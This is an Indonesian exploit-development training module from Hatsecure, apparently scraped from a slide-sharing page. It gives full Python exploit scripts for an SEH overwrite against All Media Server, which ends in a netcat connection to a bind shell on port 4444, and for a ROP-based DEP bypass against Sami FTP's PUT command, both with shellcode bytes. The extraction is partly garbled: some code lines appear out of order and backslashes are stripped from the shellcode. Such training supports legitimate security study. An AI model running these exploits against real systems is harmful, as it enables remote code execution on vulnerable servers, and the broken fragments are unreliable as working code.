8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A
s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3
Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw
6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A
y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1
Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd
4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B
f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9
Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk
2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4B
m5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7
Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br
0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B
t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5
Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx
8Bx9
Copy kombinasi karakter diatas kedalam script fuzzer, sehingga menjadi :
Restart immunity debugger, kemudian jalankan kembali All Media Server melalui
software immunity debugger. Jangan lupa switch online agar port 888 terbuka.
Jalankan script fuzzer :
Copyright By Hatsecure Advanced Exploit Development
#!/usr/bin/python
import socket
data =
“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A
c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4
Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag
7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9A
j0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2
Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An
5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7A
p8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0
As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au
3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5A
w6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8
Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb
1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3B
d4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6
Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh
9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1B
k2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4
Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo
7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9B
r0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2
Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv
5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7B
x8Bx9”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,888))
s.send(data)
s.close()
root@kali:~# python allmedia.py
Setelah crash, lihat kembali pada SEH chain.
Kita sudah berhasil merubah nilai dalam SEH chain, selanjutnya kita tentukan
berapa karakter untuk mencapai SEH chain dengan pattern_offset.rb.
Dapat disimpulkan bahwa sebanyak 1076 karakter dapat memenuhi variabel
lokal dan tambah 4 karakter untuk memenuhi SEH chain. Langkah selanjutnya
adalah mencari alamat dari module yang didalamnya terdapat intruksi POP,
POP, RETN.
Module Intruction Mapping
Sebelum melanjutkan ke tahap pencarian perlu anda pahami tentang SafeSEH.
SafeSEH sendiri adalah linker option yang digunakan programmer saat
melakukan kompilasi. Fungsi SafeSEH adalah menjaga alamat register dari SEH
didalam sebuah module. Ketika terjadi exploitasi pada SEH menggunakan
metode POP, POP, RETN, maka SafeSEH akan melakukan pengecekan apakah
alamat return dari SEH sama dengan yang ada didalam module SafeSEH, jika
berbeda SafeSEH akan memaksa untuk kembali ke alamat return semula.
Dalam hal ini artinya kita tidak bisa menggunakan module yang memiliki
SafeSEH. Kita dapat gunakan perintah immunity debugger untuk mencari module
apa saja yang non safe she. Berikut adalah perintahnya :
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/
root@kali:~# ./pattern_create.rb 396A4238
[*] Exact match at offset 1076
!mona nosafeseh
Mungkin anda dapat mencobanya sendiri pada komputer, karena hasil
screenshot sangat kecil. Intinya pada software All Media Server terdapat 4
module, namun hanya 1 yang memiliki intruksi POP, POP, RETN yaitu module
avformat-53.dll.
Selanjutnya adalah memulai pencarian, klik view dan pilih executable modules.
Pilih avformat-53.dll lalu klik enter. Kita kemudian akan diarahkan ke segmen
module.
Copyright By Hatsecure Advanced Exploit Development
Carilah intruksi POP, POP, RETN dengan tombol CTRL+S.
Klik Find, akan muncul intruksi yang kita cari.
Alamat yang kita dapat adalah 0x6AB01671. Sekarang tambahkan ke dalam
script fuzzer sebelumnya. Dan tambahkan shellcode didalamnya.
Copyright By Hatsecure Advanced Exploit Development
Copyright By Hatsecure Advanced Exploit Development
#!/usr/bin/python
import socket, struct
data = “x90” * 1076
seh_handler = struct.pack(“<I”, 0x6AB01671)
nop = “x90” * 20
shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" +
"xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" +
"x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" +
"xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" +
"x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" +
"x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" +
"x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" +
"xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" +
"xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" +
"x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" +
"x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" +
"xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" +
"x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" +
"x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" +
"x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" +
"x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" +
"x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" +
"xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" +
"xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" +
"xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" +
"x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" +
"x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" +
"xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" +
"x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" +
"x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" +
"xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" +
Restart immunity debugger, kemudian jalankan kembali All Media Server melalui
immunity debugger. Break pada alamat 0x6AB01671 langkah ini diperlukan
untuk analisa shellcode apakah akan dieksekusi dengan baik atau tidak.
Setelah itu baru dijalankan kembali exploit yang telah kita buat tadi.
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# python allmedia.py
"xf7xb5x20x18" )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,888))
s.send(data+seh_handler+nop+shellcode)
s.close()
Jika masih terjadi access volation, itu tidak masalah. Tekan SHIFT+F9 untuk
melanjutkan.
Dan kemudian kita diarahkan ke POP pertama. Untuk melanjutkan tekan F7.
Dan untuk POP kedua kita tekan lagi F7.
Copyright By Hatsecure Advanced Exploit Development
Dan intruksi RETN juga kita lanjutkan dengan tombol F7. Hingga kita akan
diarahkan ke lokasi keberadaan payload kita.
Dari gambar diatas ada kejanggalan yakni muncul intruksi JNO SHORT
0216FD90. Padahal seharusnya kita cuman mengisi NOP+SHELLCODE. Jika di
perhatikan dengan jeli ternyata intruksi tersebut berasal dari 0x7116B06A
alamat ini ternyata berasal dari yang kita masukkan yakni 0x6AB01671. Jadi
kesimpulannya kita diarahkan ke byte 1072 bukan langsung ke NOP yang ada di
shellcode. Tapi tidak menjadi masalah asalkan shellcode kita berjalan. Alangkah
baiknya kita loncati agar intruksi JNO SHORT tidak tereksekusi.
Kita dapat menggunakan intruksi JUMP SHORT 10 untuk meloncatinya.
Sehingga gambaran paling mudah seperti gambar dibawah ini :
Copyright By Hatsecure Advanced Exploit Development
Untuk mendapakan opcode dari intruksi JMP SHORT 10 kita bisa menggunakan
nasm shell bawaan dari metasploit.
Dan kita dapatkan opcode-nya yaitu xebx08. Dan tinggal kita tambahkan ke
dalam exploit kita menjadi :
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools
root@kali:~# ./nasm_shell.rb
nasm > JMP SHORT 10
00000000 EB08 jmp short 0xa
nasm >
#!/usr/bin/python
import socket, struct, time , os
data = “x90” * (1076-2) #Agar data+jmpshort = 1076 karakter
jmpshort = “xebx08”
seh_handler = struct.pack(“<I”, 0x6AB01671)
nop = “x90” * 20
shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" +
"xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" +
"x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" +
"xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" +
"x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" +
"x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" +
"x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" +
"xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" +
"xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" +
"x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" +
"x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" +
"xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" +
"x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" +
"x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" +
"x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" +
Ketika exploit diatas dijalankan kita akan langsung mendapatkan akses
shellcode pada port 4444.
Copyright By Hatsecure Advanced Exploit Development
"x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" +
"x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" +
"xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" +
"xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" +
"xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" +
"x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" +
"x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" +
"xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" +
"x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" +
"x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" +
"xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" +
"xf7xb5x20x18" )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,888))
s.send(data+jmpshort+seh_handler+nop+shellcode)
s.close()
time.sleep(1) #Menunggu 1 detik
os.system(“nc 192.168.56.101 4444”) #Mengubungkan ke backdoor
Conclusion
Kita dapat meloloskan mekanisme SEH dengan mengarahkan SEH handler ke
alamat POP,POP, RETN dengan syarat bahwa module yang kita gunakan tidak di
proteksi SafeSEH.
Copyright By Hatsecure Advanced Exploit Development
0x03 Bypassing Data Execution Prevention
Objective
• Memahami mekanisme DEP
• Memahami proteksi DEP
• Memahami Return Oriented Programming
• Mampu mengalahkan proteksi DEP dengan ROP
Overview
Data Execution Prevention (DEP) merupakan teknologi proteksi yang digunakan
untuk mencegah serangan-serangan oveflow. Konsepnya sistem akan mencegah
aplikasi atau service mengeksekusi area non-executable memory. Dengan
adanya teknologi proteksi ini kita tidak akan bisa mengeksekusi shellcode yang
berada didalam stack.
Data Execution Prevention
Untuk mengaktifkan fitur ini :
1. Click kanan di My Computer
2. Pilih tab "Advanced"
3. Lihat bagian "Performance" lalu pilih "Settings"
4. Pilih tab "Data Execution Prevention"
5. Pilih "turn on DEP for all programs and services except those I select"
6. OK, lalu restart komputer anda.
DEP Bypassing Theory
Jika kita dapat merubah nilai didalam EIP register kita masih memiliki
kesempatan untuk memaksa sistem operasi agar menonaktifkan DEP kemudian
mengeksekusi shellcode kita.
Copyright By Hatsecure Advanced Exploit Development
Testing Data Execution Prevention
Peserta bisa mencoba melakukan serangan dengan metode classic stack
overflow biasa pada Sistem Operasi (DEP aktif).
Case Of Study : Sami FTP Vulnerability
Ada beberapa command yang memiliki celah keamanan yakni “PUT”. Kita dapat
memanfaatkan celah ini dengan serangan classic overflow. Tetapi pada kondisi
DEP aktif kita perlu metode tambahan untuk memaksa sistem operasi mematikan
fitur DEP.
Case Of Study : Sami FTP Vulnerability
Berikut adalah script fuzzer :
Copyright By Hatsecure Advanced Exploit Development
import socket, struct, sys
target = “192.168.56.101”
port = 21
fuzz = "x41" * 217
eip = "BBBB"
esp = “x90” * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(target),int(port)))
s.recv(1024)
print "[X] Logged in"
s.send("USER hatsecurern")
s.recv(1024)
s.send("PASS hatsecurern")
s.recv(1024)
s.send("SYSTrn")
system = s.recv(1024)
Return Oriented Programming
Metode yang lebih dikenal ROP ini sering digunakan oleh praktisi keamanan
untuk mencoba mengalahkan DEP. Ketika kita mengingat metode bypass SEH,
sebenarnya kita sudah membuat ROP sederhana (one line) yakni POP, POP,
RETN. Semua intruksi yang diakhiri RETN digolongkan ROP. Untuk intruksi apa
saja yang diperlukan untuk menonaktifkan DEP yaitu :
• Alamat intruksi : POP EDI, RETN
• Alamat intruksi : POP ESI, RETN
• Alamat intruksi : POP EBP, RETN
• Alamat intruksi : POP EBX, RETN
• Alamat intruksi : INC, RETN
• Alamat intruksi : PUSHAD, RETN
• Alamat intruksi : RETN
Alamat tersebut dapat anda cari pada executable modules saat debugging Sami
FTP. Sehingga anda perlu menjalankan immunity debugger, lalu buka file
PMSystem.exe (Sami FTP).
Copyright By Hatsecure Advanced Exploit Development
print "[X] Detected "+system
print "[X] Sending payload"
s.send("PUT "+fuzz+eip+esp+"rn")
s.recv(1024)
s.close()
Klik Executable modules, anda dapat memilih module apa saja. Sebagai contoh
disini pertama akan mencari pada module user32.dll. Dan untuk memulai
pencarian tekan tombol CTRL+S
Copyright By Hatsecure Advanced Exploit Development
Maka akan muncul intruksi yang kita butuhkan :
Defeating DEP with ROP
Carilah intruksi-intruksi lain yang diperlukan, disini akan kita asumsikan bahwa :
• Alamat intruksi : POP EDI, RETN = 0x7E41E9F6
• Alamat intruksi : POP ESI, RETN = 0x7E414238
• Alamat intruksi : POP EBP, RETN = 0x7E4185BB
• Alamat intruksi : POP EBX, RETN = 0x7E422DFF
• Alamat intruksi : PUSHAD, RETN = 0x7E423AD9
• Alamat intruksi : INC EBX, RETN = 0x7CB30B7E
• Alamat intruksi : RETN = 0x7E423ADA
Untuk menonaktifkan DEP, kita menggunakan fungsi SetProcessDEPPolicy
melalui aplikasi DLLExplorer :
Copyright By Hatsecure Advanced Exploit Development
Dan parameter dari fungsi ini : SetProcessDEPPolicy(0) untuk mematikan DEP
sementara. Alamat SetProcessDEPPolicy() adalah 0x7C862144
Sehingga proses yang kita perlukan bagaimana agar bisa mengarahkan EIP untuk
mengeksekusi fungsi SetProcessDEPPolicy() dengan parameter yang benar.
Disini akan di contohkan ROP sederhana :
Returning into our shellcode
Jadi ketika di implementasikan pada exploit kita, akan menjadi :
Copyright By Hatsecure Advanced Exploit Development
eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN
ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN
ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$
ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN
ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$
ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN
ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>$
ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN
ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasu$
ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN
ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD
#Tujuan inc ebx, retn adalah menambahkan 1 nilai pada EBX, sebelumnya EBX nilainya adalah
#0xFFFFFFFF + 1 = 0
#Nilai 0 dibutuhkan untuk membuat parameter SetProcessDEPPolicy() menjadi false.
#Maksudnya agar membuat => SetProcessDEPPolicy(0)
import socket, struct, sys
target = “192.168.56.101”
port = 21
fuzz = "x41" * 217
eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN
ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN
ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke EDI
ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN
ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke ESI
Diatas kita menggunakan shellcode dengan ukuran kecil karena pada Sami FTP
kita tidak bisa menuliskan shellcode lebih dari 273 byte. Sehingga jika kita
menggunakan generator msfvenom, hasil shellcodenya diatas 320 byte.
Copyright By Hatsecure Advanced Exploit Development
padding = "BBBB" * 4
ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN
ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>EBP
ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN
ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasukkan ke EBX
ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN
ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD
esp = “x90” * 100
shellcode =
(“x60x31xc0x31xdbx31xc9x31xd2xbfxeax07x45x7ex50x68x49x4ex46x
4fx89xe3x50x68x2ex2ex2ex2ex68x68x61x68x61x68x48x61x68x61x89
xe1x50x53x51x50xffxd7x61x31xC0x50xBFxFAxCAx81x7CxFFxD7”)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(target),int(port)))
s.recv(1024)
print "[X] Logged in"
s.send("USER hatsecurern")
s.recv(1024)
s.send("PASS hatsecurern")
s.recv(1024)
s.send("SYSTrn")
system = s.recv(1024)
print "[X] Detected "+system
print "[X] Sending payload"
s.send("PUT "+fuzz+padding+eip+ROP+esp+shellcode+"rn")
s.recv(1024)
s.close()
Conclusion
Dengan adanya proteksi DEP kini exploitasi overflow menjadi lebih sulit
dibanding sebelumnya. Akan tetapi proteksi ini masih bisa dimatikan
menggunakan metode return oriented programming.
Copyright By Hatsecure Advanced Exploit Development
0x03 Bypassing ASLR in windows 7
Objective
• Memahami mekanisme ASLR
• Memahami metode sederhana untuk exploitasi dengan ASLR aktif
Overview
ASLR merupakan mekanisme pengacakan tata letak ruang alamat yang berupa
pengaturan area data utama secara acak, biasanya meliputi basis eksekusi dan
posisi dari library, heap, dan stack dalam ruang alamat proses itu.
ASLR ini menghambat beberapa jenis serangan keamanan dengan membuat lebih
sulit bagi penyerang untuk memprediksi alamat target.
ASLR Bypass Theory
Saat ini ada beberapa teori dan teknik untuk meloloskan ASLR. Yang sering
digunakan antaralain :
• Module non aslr : EIP diarahkan ke module non aslr. (very easy)
• Static memory : Dengan memanfaatkan memori dengan alamat statis
(medium)
Copyright By Hatsecure Advanced Exploit Development
Terimakasih telah membaca modul ini, untuk
materi selengkapnya bisa dengan mengikuti
training
“advanced exploit development”
Syllabus baru kami dapat di unduh di :
Advanced Exploit Development
(Premier Class)
http://www.hatsecure.com/download/premier.pdf
Advanced Exploit Development
(Mega Premier Class)
http://www.hatsecure.com/download/megapremier.pdf
Training ini akan dibuka mulai agustus atau september 2013
Copyright By Hatsecure Advanced Exploit Development

More Related Content

Viewers also liked

backdooring workshop
backdooring workshopbackdooring workshop
backdooring workshop
Ammar WK
 
Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008
Ammar WK
 
Workshop tp link router & open wrt
Workshop tp link router & open wrtWorkshop tp link router & open wrt
Workshop tp link router & open wrt
Dan H
 
webhacking
webhackingwebhacking
webhacking
Ammar WK
 
Playin with Password
Playin with PasswordPlayin with Password
Playin with Password
Ammar WK
 
PTES: PenTest Execution Standard
PTES: PenTest Execution StandardPTES: PenTest Execution Standard
PTES: PenTest Execution Standard
Source Conference
 

Viewers also liked (20)

Seminar Hacking & Security Analysis
Seminar Hacking & Security AnalysisSeminar Hacking & Security Analysis
Seminar Hacking & Security Analysis
 
Advanced exploit development
Advanced exploit developmentAdvanced exploit development
Advanced exploit development
 
Ethical hacking
Ethical hackingEthical hacking
Ethical hacking
 
backdooring workshop
backdooring workshopbackdooring workshop
backdooring workshop
 
Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008
 
Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013
 
Uji performa kontroler on Semnasteknomedia Amikom 2015
Uji performa kontroler on Semnasteknomedia Amikom 2015Uji performa kontroler on Semnasteknomedia Amikom 2015
Uji performa kontroler on Semnasteknomedia Amikom 2015
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented Programming
 
Penetrasi Jaringan
Penetrasi JaringanPenetrasi Jaringan
Penetrasi Jaringan
 
IOT Exploitation
IOT Exploitation	IOT Exploitation
IOT Exploitation
 
Return Oriented Programming (ROP) Based Exploits - Part I
Return Oriented Programming  (ROP) Based Exploits  - Part IReturn Oriented Programming  (ROP) Based Exploits  - Part I
Return Oriented Programming (ROP) Based Exploits - Part I
 
Materi Vulnerability Development
Materi Vulnerability DevelopmentMateri Vulnerability Development
Materi Vulnerability Development
 
Workshop 101 - Penetration testing & Vulnerability Assessment
Workshop 101 - Penetration testing & Vulnerability AssessmentWorkshop 101 - Penetration testing & Vulnerability Assessment
Workshop 101 - Penetration testing & Vulnerability Assessment
 
Workshop tp link router & open wrt
Workshop tp link router & open wrtWorkshop tp link router & open wrt
Workshop tp link router & open wrt
 
Exploiting arm linux
Exploiting arm linuxExploiting arm linux
Exploiting arm linux
 
eMAPT
eMAPTeMAPT
eMAPT
 
webhacking
webhackingwebhacking
webhacking
 
Playin with Password
Playin with PasswordPlayin with Password
Playin with Password
 
Exploit Development with Python
Exploit Development with PythonExploit Development with Python
Exploit Development with Python
 
PTES: PenTest Execution Standard
PTES: PenTest Execution StandardPTES: PenTest Execution Standard
PTES: PenTest Execution Standard
 

Similar to Advanced Exploit Development (Updated on 28 January, 2016)

Pengenalan linux
Pengenalan linuxPengenalan linux
Pengenalan linux
Bais Wong
 
Swing excerpt
Swing excerptSwing excerpt
Swing excerpt
malvicom
 
Swing excerpt
Swing excerptSwing excerpt
Swing excerpt
ezah
 
Manual aplikasi dapodikdas_v300_01082014
Manual aplikasi dapodikdas_v300_01082014Manual aplikasi dapodikdas_v300_01082014
Manual aplikasi dapodikdas_v300_01082014
abijand
 
tutor cloud computing ec2-ug.pdf
tutor cloud computing ec2-ug.pdftutor cloud computing ec2-ug.pdf
tutor cloud computing ec2-ug.pdf
administrasitkj
 

Similar to Advanced Exploit Development (Updated on 28 January, 2016) (20)

Pengenalan linux
Pengenalan linuxPengenalan linux
Pengenalan linux
 
Pengantar os-linux
Pengantar os-linuxPengantar os-linux
Pengantar os-linux
 
Pengembangan Aplikasi Cloud Computing Menggunakan Node.js
Pengembangan Aplikasi Cloud Computing Menggunakan Node.jsPengembangan Aplikasi Cloud Computing Menggunakan Node.js
Pengembangan Aplikasi Cloud Computing Menggunakan Node.js
 
Tutorial penggunaan total station edi supriyanto, st
Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
Tutorial penggunaan total station edi supriyanto, st
Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
Tutorial penggunaan total station edi supriyanto, st
Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
Tutorial penggunaan total station edi supriyanto, st
Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
Tutorial penggunaan total station edi supriyanto, st
Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
200119 a tutorial total station
200119 a tutorial total station200119 a tutorial total station
200119 a tutorial total station
 
Tutorial penggunaan total station edi supriyanto, st
